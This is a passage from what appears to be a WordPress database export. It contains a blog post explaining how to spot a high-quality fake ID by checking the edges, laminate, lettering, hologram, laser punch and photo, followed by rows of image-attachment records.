-->\n<p>Good fake IDs will use the same card stock as real IDs. Their laminates won’t be able to be peeled back. Their photos will be photos that the person took themselves. Their data will be the actual data that the person inputted themselves, and the ID will be scannable. It’ll show that exact same ID’s data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to spot a good fake ID, you have to be more clever than that.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s how you do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>1. Check the edges</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Feel the edge of your actual driver’s license. You’ll notice it’s smooth with rounded corners. This is because your ID is laser cut.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":99,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151135931-1-768x1024.jpg\" alt=\"\" class=\"wp-image-99\"/><figcaption>The edge of my real ID. It\'s smooth to the touch. </figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>The edges of a fake ID might be rough, or have little threads. This is the sign of a hand cut or machine cut ID. These are fake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":168,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154536726-edited-scaled.jpg\" alt=\"\" class=\"wp-image-168\"/><figcaption>The edge of a fake ID. It\'s rough to the touch, as those little bumps and edges snag your fingertips.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>2. Check the laminate</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Laminate on hard plastic is difficult to do correctly. Fake IDs have come along way since the days where it\'d just be glue-on laminate, but that doesn\'t meant the laminate is perfect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>On your real ID, the laminate is almost unnoticeable, except for a slight glossy sheen. It ends at the end of the card, although if you look very closely at the edge of the card you can see two or three layers: the laminate, the card stock, and possibly another layer of laminate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":100,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151139139-768x1024.jpg\" alt=\"\" class=\"wp-image-100\"/><figcaption>My real ID. The laminate sandwiches the cardstock, but it\'s almost unnoticeable.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>On fake IDs, the laminate is often not so well stuck on. The laminate gets folds or dirt underneath it, especially around the edges. It also frequently pokes a tiny bit beyond the edges, which you can see if you flash a light directly on the edges.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":127,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154121814-768x1024.jpg\" alt=\"\" class=\"wp-image-127\"/><figcaption>The dirt has gotten underneath this cheap laminate.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Even if the laminate is stuck on correctly, it\'s difficult for fake ID manufacturers to get the same kind of laminate as real ID manufacturers. They use substitutes, which are often far too reflective. You can often see this extreme reflectivity on fake passports, too. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":128,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154250558-768x1024.jpg\" alt=\"\" class=\"wp-image-128\"/><figcaption>The reflectivity on this fake passport is blinding. When I held it under a strong light, it was impossible to read.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>3. Check the raised and indented lettering</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are a few parts of your ID that have raised and indented lettering. In my Massachusetts ID, my birthdate in the bottom right is raised, and my initials and birthyear under my photo are indented.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><!-- wp:gallery {\"ids\":[98],\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery columns-1 is-cropped\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151048382_HDR-768x1024.jpg\" alt=\"\" data-id=\"98\" class=\"wp-image-98\"/><figcaption class=\"blocks-gallery-item__caption\">The raised letters on my real ID are fully colored in.</figcaption></figure></li></ul></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:image {\"id\":97,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151033461_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-97\"/><figcaption>When I run my fingers across the indented lettering, I can clearly feel the indent.</figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:group -->\n\n<!-- wp:paragraph -->\n<p>This is difficult and expensive to do. Cheaper ID manufacturers might try to cheat it, especially the indented lettering. They\'ll just skip the indent, making the letters in line with the rest of the card stock. You\'ll be able to feel it with your fingers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s especially difficult to have colored, raised lettering. Fake ID manufacturers struggle coloring the lettering in fully, leaving spots or speckles on the lettering.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":138,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154728395-768x1024.jpg\" alt=\"\" class=\"wp-image-138\"/><figcaption>Note the weird \"3D\" effect on the right of each raised number, caused by non-fully colored in numbers.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>4. Check the hologram </h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Holograms used to be a premium security feature on IDs. Unfortunately, that\'s no longer the case. Most fake ID manufacturers have no problems with holograms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, they\'ll still cheap out on the quality of the hologram. For example, on my Massachusetts license, there\'s a hologram of a bird. It has a few features which are very difficult for a fake ID manufacturer to copy: a small cut-out eye, tiny lettering reading \"Massachusetts\", and my initials and birth year embedded within it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":169,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/WIN_20210722_18_41_24_Pro-1024x768.jpg\" alt=\"\" class=\"wp-image-169\"/><figcaption>You should be able to tell that this is an applied, 3 dimensional hologram. The bird has a tiny cut-out eye.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>It\'s rare that a fake ID manufacturer will be able to copy that quality of hologram directly. So they\'ll try to cheat. They might just print the hologram directly on the card stock, hoping people don\'t realize that it\'s not raised at all. Or, they might give up on cutting out the eye.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":115,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152608421_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-115\"/><figcaption>This hologram is just printed on, rather than applied.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Regardless, if you\'re familiar with the look of the proper hologram, especially the way in which the hologram is raised and separate from the card itself, you\'ll have no problem spotting when a fake ID manufacturer gives up on it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>5. Check the back</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers are in the business of producing fake IDs good enough that an overworked bouncer or college kid who just spent his last $100 is satisfied.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What do both of those groups have in common? They really check the front of the ID, and skim the back. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fake ID manufacturers know this. So they\'ll often cheap out on the letters on the back. Unlike the letters on the front, the lettering on the back might be misaligned, speckled, or running together.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":145,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155838269-768x1024.jpg\" alt=\"\" class=\"wp-image-145\"/><figcaption>What happened to the comma and that t? There was a collision!</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>6. Check the laser punch</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Another very common security feature is the laser punch. It\'s easier to see if you look at the back of your ID. You\'ll notice tiny little holes, probably in the shape of your state.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":122,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153511621_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-122\"/><figcaption>This is the shape of Massachusetts. These are very small, closely put together holes.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>To make clean, lined-up holes, you need an expensive laser. As you\'ve probably figured out by now, that\'s not something fake ID manufacturers tend to have.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they do their best with machine punching. This results in poorly lined up holes that might look messy or a bit scarred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":153,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_161332787_HDR-768x1024.jpg\" alt=\"\" class=\"wp-image-153\"/><figcaption>These holes run into each other and the spacing seems entirely random.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:heading -->\n<h2>7. Check the photo</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Do you remember when you got your photo taken for your license? They made you stand in front of a blank background. There was strong, direct light on your face, then they took a high quality photo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":117,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152911691-768x1024.jpg\" alt=\"\" class=\"wp-image-117\"/><figcaption>This is my ID photo. Note the very dark shadows underneath my jaw and behind my ears because of the strong, direct lighting.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is not how people take fake ID photos. Their friends use their camera phone to take a photo in front of a blank wall. Then the fake ID manufacturers photoshop the photo onto the ID.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, in a fake ID photo, there may be artifacts left over from the photoshop, like around the edges of the hair. There will likely not be shadows from strong, direct light. The photo may be poor quality or fuzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:group -->\n<div class=\"wp-block-group\"><!-- wp:cover {\"url\":\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153004518-768x1024.jpg\",\"id\":118,\"contentPosition\":\"center center\",\"style\":{\"color\":{}}} -->\n<div class=\"wp-block-cover has-background-dim\"><img class=\"wp-block-cover__image-background wp-image-118\" alt=\"\" src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153004518-768x1024.jpg\" data-object-fit=\"cover\"/><div class=\"wp-block-cover__inner-container\"><!-- wp:paragraph {\"fontSize\":\"large\"} -->\n<p class=\"has-large-font-size\">The edges of the hair are clearly photoshopped.</p>\n<!-- /wp:paragraph --></div></div>\n<!-- /wp:cover -->\n\n<!-- wp:image {\"id\":170,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173115760-edited.jpg\" alt=\"\" class=\"wp-image-170\"/><figcaption>There\'s no jaw shadow.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"id\":171,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420997-edited-scaled.jpg\" alt=\"\" class=\"wp-image-171\"/><figcaption>Did she airbrush this? Where are her pores?</figcaption></figure>\n<!-- /wp:image --></div>\n<!-- /wp:group -->\n\n<!-- wp:heading -->\n<h2>Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fake IDs are better than ever before, driven largely the symbiotic needs of 19 year olds to drink in bars and American cities to fine bars for underage drinking. This is likely problematic, because it also means that non-underage drinking criminals also have access to incredibly high quality fake IDs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, these fake IDs are not perfect. Even if you\'re unfamiliar with the look of an individual state ID or national passport, you can still spot a fake one. You just have to look closely.  </p>\n<!-- /wp:paragraph -->','How to spot a good fake ID','','publish','closed','closed','','how-to-spot-a-good-fake-id','','','2021-07-22 22:54:56','2021-07-22 22:54:56','',0,'https://trevorklee.com/?page_id=90',0,'page','',0),
(91,1,'2021-07-22 21:34:41','2021-07-22 21:34:41','','IMG_20200224_151135931','','inherit','open','closed','','img_20200224_151135931','','','2021-07-22 21:34:41','2021-07-22 21:34:41','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151135931.jpg',0,'attachment','image/jpeg',0),
(92,1,'2021-07-22 21:35:19','2021-07-22 21:35:19','','IMG_20200224_150323215','','inherit','open','closed','','img_20200224_150323215','','','2021-07-22 21:35:19','2021-07-22 21:35:19','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_150323215.jpg',0,'attachment','image/jpeg',0),
(93,1,'2021-07-22 21:35:51','2021-07-22 21:35:51','','IMG_20200224_150323215','','inherit','open','closed','','img_20200224_150323215-2','','','2021-07-22 21:35:51','2021-07-22 21:35:51','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_150323215-1.jpg',0,'attachment','image/jpeg',0),
(94,1,'2021-07-22 21:36:17','2021-07-22 21:36:17','','IMG_20200224_150623904_HDR','','inherit','open','closed','','img_20200224_150623904_hdr','','','2021-07-22 21:36:17','2021-07-22 21:36:17','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_150623904_HDR.jpg',0,'attachment','image/jpeg',0),
(95,1,'2021-07-22 21:36:19','2021-07-22 21:36:19','','IMG_20200224_173755388','','inherit','open','closed','','img_20200224_173755388','','','2021-07-22 21:36:19','2021-07-22 21:36:19','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_173755388.jpg',0,'attachment','image/jpeg',0),
(96,1,'2021-07-22 21:36:57','2021-07-22 21:36:57','','IMG_20200224_150928212_HDR','','inherit','open','closed','','img_20200224_150928212_hdr','','','2021-07-22 21:36:57','2021-07-22 21:36:57','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_150928212_HDR.jpg',0,'attachment','image/jpeg',0),
(97,1,'2021-07-22 21:37:18','2021-07-22 21:37:18','','IMG_20200224_151033461_HDR','','inherit','open','closed','','img_20200224_151033461_hdr','','','2021-07-22 21:37:18','2021-07-22 21:37:18','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151033461_HDR.jpg',0,'attachment','image/jpeg',0),
(98,1,'2021-07-22 21:37:39','2021-07-22 21:37:39','','IMG_20200224_151048382_HDR','','inherit','open','closed','','img_20200224_151048382_hdr','','','2021-07-22 21:37:39','2021-07-22 21:37:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151048382_HDR.jpg',0,'attachment','image/jpeg',0),
(99,1,'2021-07-22 21:37:58','2021-07-22 21:37:58','','IMG_20200224_151135931','','inherit','open','closed','','img_20200224_151135931-2','','','2021-07-22 21:37:58','2021-07-22 21:37:58','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151135931-1.jpg',0,'attachment','image/jpeg',0),
(100,1,'2021-07-22 21:38:25','2021-07-22 21:38:25','','IMG_20200224_151139139','','inherit','open','closed','','img_20200224_151139139','','','2021-07-22 21:38:25','2021-07-22 21:38:25','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151139139.jpg',0,'attachment','image/jpeg',0),
(101,1,'2021-07-22 21:38:50','2021-07-22 21:38:50','','IMG_20200224_151203750','','inherit','open','closed','','img_20200224_151203750','','','2021-07-22 21:38:50','2021-07-22 21:38:50','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151203750.jpg',0,'attachment','image/jpeg',0),
(102,1,'2021-07-22 21:39:09','2021-07-22 21:39:09','','IMG_20200224_151731442','','inherit','open','closed','','img_20200224_151731442','','','2021-07-22 21:39:09','2021-07-22 21:39:09','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151731442.jpg',0,'attachment','image/jpeg',0),
(103,1,'2021-07-22 21:39:29','2021-07-22 21:39:29','','IMG_20200224_151853506','','inherit','open','closed','','img_20200224_151853506','','','2021-07-22 21:39:29','2021-07-22 21:39:29','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151853506.jpg',0,'attachment','image/jpeg',0),
(104,1,'2021-07-22 21:39:49','2021-07-22 21:39:49','','IMG_20200224_151855749_HDR','','inherit','open','closed','','img_20200224_151855749_hdr','','','2021-07-22 21:39:49','2021-07-22 21:39:49','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151855749_HDR.jpg',0,'attachment','image/jpeg',0),
(105,1,'2021-07-22 21:40:13','2021-07-22 21:40:13','','IMG_20200224_151908964_HDR','','inherit','open','closed','','img_20200224_151908964_hdr','','','2021-07-22 21:40:13','2021-07-22 21:40:13','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_151908964_HDR.jpg',0,'attachment','image/jpeg',0),
(106,1,'2021-07-22 21:40:37','2021-07-22 21:40:37','','IMG_20200224_152037204_HDR','','inherit','open','closed','','img_20200224_152037204_hdr','','','2021-07-22 21:40:37','2021-07-22 21:40:37','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152037204_HDR.jpg',0,'attachment','image/jpeg',0),
(107,1,'2021-07-22 21:41:00','2021-07-22 21:41:00','','IMG_20200224_152038919_HDR','','inherit','open','closed','','img_20200224_152038919_hdr','','','2021-07-22 21:41:00','2021-07-22 21:41:00','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152038919_HDR.jpg',0,'attachment','image/jpeg',0),
(108,1,'2021-07-22 21:41:21','2021-07-22 21:41:21','','IMG_20200224_152111725_HDR','','inherit','open','closed','','img_20200224_152111725_hdr','','','2021-07-22 21:41:21','2021-07-22 21:41:21','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152111725_HDR.jpg',0,'attachment','image/jpeg',0),
(109,1,'2021-07-22 21:41:39','2021-07-22 21:41:39','','IMG_20200224_152113390_HDR (2)','','inherit','open','closed','','img_20200224_152113390_hdr-2','','','2021-07-22 21:41:39','2021-07-22 21:41:39','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152113390_HDR-2.jpg',0,'attachment','image/jpeg',0),
(110,1,'2021-07-22 21:42:00','2021-07-22 21:42:00','','IMG_20200224_152113390_HDR','','inherit','open','closed','','img_20200224_152113390_hdr','','','2021-07-22 21:42:00','2021-07-22 21:42:00','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152113390_HDR.jpg',0,'attachment','image/jpeg',0),
(111,1,'2021-07-22 21:42:19','2021-07-22 21:42:19','','IMG_20200224_152131671','','inherit','open','closed','','img_20200224_152131671','','','2021-07-22 21:42:19','2021-07-22 21:42:19','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152131671.jpg',0,'attachment','image/jpeg',0),
(112,1,'2021-07-22 21:42:42','2021-07-22 21:42:42','','IMG_20200224_152408892','','inherit','open','closed','','img_20200224_152408892','','','2021-07-22 21:42:42','2021-07-22 21:42:42','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152408892.jpg',0,'attachment','image/jpeg',0),
(113,1,'2021-07-22 21:43:03','2021-07-22 21:43:03','','IMG_20200224_152428972_HDR','','inherit','open','closed','','img_20200224_152428972_hdr','','','2021-07-22 21:43:03','2021-07-22 21:43:03','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152428972_HDR.jpg',0,'attachment','image/jpeg',0),
(114,1,'2021-07-22 21:43:24','2021-07-22 21:43:24','','IMG_20200224_152459527_HDR','','inherit','open','closed','','img_20200224_152459527_hdr','','','2021-07-22 21:43:24','2021-07-22 21:43:24','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152459527_HDR.jpg',0,'attachment','image/jpeg',0),
(115,1,'2021-07-22 21:43:47','2021-07-22 21:43:47','','IMG_20200224_152608421_HDR','','inherit','open','closed','','img_20200224_152608421_hdr','','','2021-07-22 21:43:47','2021-07-22 21:43:47','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152608421_HDR.jpg',0,'attachment','image/jpeg',0),
(116,1,'2021-07-22 21:44:10','2021-07-22 21:44:10','','IMG_20200224_152850474','','inherit','open','closed','','img_20200224_152850474','','','2021-07-22 21:44:10','2021-07-22 21:44:10','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152850474.jpg',0,'attachment','image/jpeg',0),
(117,1,'2021-07-22 21:44:36','2021-07-22 21:44:36','','IMG_20200224_152911691','','inherit','open','closed','','img_20200224_152911691','','','2021-07-22 21:44:36','2021-07-22 21:44:36','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_152911691.jpg',0,'attachment','image/jpeg',0),
(118,1,'2021-07-22 21:44:56','2021-07-22 21:44:56','','IMG_20200224_153004518','','inherit','open','closed','','img_20200224_153004518','','','2021-07-22 21:44:56','2021-07-22 21:44:56','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153004518.jpg',0,'attachment','image/jpeg',0),
(119,1,'2021-07-22 21:45:17','2021-07-22 21:45:17','','IMG_20200224_153124594','','inherit','open','closed','','img_20200224_153124594','','','2021-07-22 21:45:17','2021-07-22 21:45:17','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153124594.jpg',0,'attachment','image/jpeg',0),
(120,1,'2021-07-22 21:45:38','2021-07-22 21:45:38','','IMG_20200224_153438155','','inherit','open','closed','','img_20200224_153438155','','','2021-07-22 21:45:38','2021-07-22 21:45:38','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153438155.jpg',0,'attachment','image/jpeg',0),
(121,1,'2021-07-22 21:46:08','2021-07-22 21:46:08','','IMG_20200224_153509146','','inherit','open','closed','','img_20200224_153509146','','','2021-07-22 21:46:08','2021-07-22 21:46:08','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153509146.jpg',0,'attachment','image/jpeg',0),
(122,1,'2021-07-22 21:46:29','2021-07-22 21:46:29','','IMG_20200224_153511621_HDR','','inherit','open','closed','','img_20200224_153511621_hdr','','','2021-07-22 21:46:29','2021-07-22 21:46:29','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153511621_HDR.jpg',0,'attachment','image/jpeg',0),
(123,1,'2021-07-22 21:46:48','2021-07-22 21:46:48','','IMG_20200224_153613032_HDR','','inherit','open','closed','','img_20200224_153613032_hdr','','','2021-07-22 21:46:48','2021-07-22 21:46:48','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153613032_HDR.jpg',0,'attachment','image/jpeg',0),
(124,1,'2021-07-22 21:47:06','2021-07-22 21:47:06','','IMG_20200224_153744197','','inherit','open','closed','','img_20200224_153744197','','','2021-07-22 21:47:06','2021-07-22 21:47:06','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153744197.jpg',0,'attachment','image/jpeg',0),
(125,1,'2021-07-22 21:47:25','2021-07-22 21:47:25','','IMG_20200224_153922875','','inherit','open','closed','','img_20200224_153922875','','','2021-07-22 21:47:25','2021-07-22 21:47:25','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_153922875.jpg',0,'attachment','image/jpeg',0),
(126,1,'2021-07-22 21:47:46','2021-07-22 21:47:46','','IMG_20200224_154007455_HDR','','inherit','open','closed','','img_20200224_154007455_hdr','','','2021-07-22 21:47:46','2021-07-22 21:47:46','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154007455_HDR.jpg',0,'attachment','image/jpeg',0),
(127,1,'2021-07-22 21:48:08','2021-07-22 21:48:08','','IMG_20200224_154121814','','inherit','open','closed','','img_20200224_154121814','','','2021-07-22 21:48:08','2021-07-22 21:48:08','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154121814.jpg',0,'attachment','image/jpeg',0),
(128,1,'2021-07-22 21:48:35','2021-07-22 21:48:35','','IMG_20200224_154250558','','inherit','open','closed','','img_20200224_154250558','','','2021-07-22 21:48:35','2021-07-22 21:48:35','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154250558.jpg',0,'attachment','image/jpeg',0),
(129,1,'2021-07-22 21:48:57','2021-07-22 21:48:57','','IMG_20200224_154407330_HDR','','inherit','open','closed','','img_20200224_154407330_hdr','','','2021-07-22 21:48:57','2021-07-22 21:48:57','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154407330_HDR.jpg',0,'attachment','image/jpeg',0),
(130,1,'2021-07-22 21:49:20','2021-07-22 21:49:20','','IMG_20200224_154410780_BURST000_COVER_TOP','','inherit','open','closed','','img_20200224_154410780_burst000_cover_top','','','2021-07-22 21:49:20','2021-07-22 21:49:20','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154410780_BURST000_COVER_TOP.jpg',0,'attachment','image/jpeg',0),
(131,1,'2021-07-22 21:49:40','2021-07-22 21:49:40','','IMG_20200224_154410780_BURST001','','inherit','open','closed','','img_20200224_154410780_burst001','','','2021-07-22 21:49:40','2021-07-22 21:49:40','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154410780_BURST001.jpg',0,'attachment','image/jpeg',0),
(132,1,'2021-07-22 21:50:02','2021-07-22 21:50:02','','IMG_20200224_154420058_BURST000_COVER_TOP','','inherit','open','closed','','img_20200224_154420058_burst000_cover_top','','','2021-07-22 21:50:02','2021-07-22 21:50:02','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420058_BURST000_COVER_TOP.jpg',0,'attachment','image/jpeg',0),
(133,1,'2021-07-22 21:50:22','2021-07-22 21:50:22','','IMG_20200224_154420058_BURST001','','inherit','open','closed','','img_20200224_154420058_burst001','','','2021-07-22 21:50:22','2021-07-22 21:50:22','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420058_BURST001.jpg',0,'attachment','image/jpeg',0),
(134,1,'2021-07-22 21:50:42','2021-07-22 21:50:42','','IMG_20200224_154420997','','inherit','open','closed','','img_20200224_154420997','','','2021-07-22 21:50:42','2021-07-22 21:50:42','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154420997.jpg',0,'attachment','image/jpeg',0),
(135,1,'2021-07-22 21:51:03','2021-07-22 21:51:03','','IMG_20200224_154536726','','inherit','open','closed','','img_20200224_154536726','','','2021-07-22 21:51:03','2021-07-22 21:51:03','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154536726.jpg',0,'attachment','image/jpeg',0),
(136,1,'2021-07-22 21:51:24','2021-07-22 21:51:24','','IMG_20200224_154618507_HDR','','inherit','open','closed','','img_20200224_154618507_hdr','','','2021-07-22 21:51:24','2021-07-22 21:51:24','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154618507_HDR.jpg',0,'attachment','image/jpeg',0),
(137,1,'2021-07-22 21:51:43','2021-07-22 21:51:43','','IMG_20200224_154633401','','inherit','open','closed','','img_20200224_154633401','','','2021-07-22 21:51:43','2021-07-22 21:51:43','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154633401.jpg',0,'attachment','image/jpeg',0),
(138,1,'2021-07-22 21:52:06','2021-07-22 21:52:06','','IMG_20200224_154728395','','inherit','open','closed','','img_20200224_154728395','','','2021-07-22 21:52:06','2021-07-22 21:52:06','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_154728395.jpg',0,'attachment','image/jpeg',0),
(139,1,'2021-07-22 21:52:25','2021-07-22 21:52:25','','IMG_20200224_155122034','','inherit','open','closed','','img_20200224_155122034','','','2021-07-22 21:52:25','2021-07-22 21:52:25','',90,'https://trevorklee.com/wp-content/uploads/2021/07/IMG_20200224_155122034.jpg',0,'attachment','image/jpeg',0),
